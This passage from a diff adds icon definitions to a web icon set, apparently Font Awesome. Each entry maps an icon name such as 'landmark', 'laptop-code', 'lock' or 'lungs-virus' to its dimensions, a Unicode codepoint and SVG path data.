224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z"], + "landmark": [512, 512, [], "f66f", "M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "language": [640, 512, [], "f1ab", "M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z"], + "laptop": [640, 512, [], "f109", "M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"], + "laptop-code": [640, 512, [], "f5fc", "M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"], + "laptop-house": [640, 512, [], "e066", "M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z"], + "laptop-medical": [640, 512, [], "f812", "M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z"], + "laugh": [496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z"], + "laugh-beam": [496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "laugh-squint": [496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "laugh-wink": [496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "layer-group": [512, 512, [], "f5fd", "M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z"], + "leaf": [576, 512, [], "f06c", "M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z"], + "lemon": [512, 512, [], "f094", "M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z"], + "less-than": [384, 512, [], "f536", "M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z"], + "less-than-equal": [448, 512, [], "f537", "M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "level-down-alt": [320, 512, [], "f3be", "M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z"], + "level-up-alt": [320, 512, [], "f3bf", "M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z"], + "life-ring": [512, 512, [], "f1cd", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z"], + "lightbulb": [352, 512, [], "f0eb", "M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z"], + "link": [512, 512, [], "f0c1", "M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z"], + "lira-sign": [384, 512, [], "f195", "M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z"], + "list": [512, 512, [], "f03a", "M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "list-alt": [512, 512, [], "f022", "M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z"], + "list-ol": [512, 512, [], "f0cb", "M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"], + "list-ul": [512, 512, [], "f0ca", "M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "location-arrow": [512, 512, [], "f124", "M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z"], + "lock": [448, 512, [], "f023", "M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z"], + "lock-open": [576, 512, [], "f3c1", "M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z"], + "long-arrow-alt-down": [256, 512, [], "f309", "M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z"], + "long-arrow-alt-left": [448, 512, [], "f30a", "M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z"], + "long-arrow-alt-right": [448, 512, [], "f30b", "M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"], + "long-arrow-alt-up": [256, 512, [], "f30c", "M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z"], + "low-vision": [576, 512, [], "f2a8", "M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z"], + "luggage-cart": [640, 512, [], "f59d", "M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z"], + "lungs": [640, 512, [], "f604", "M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z"], + "lungs-virus": [640, 512, [], "e067", "M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z"], + "magic": [512, 512, [], "f0d0", "M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 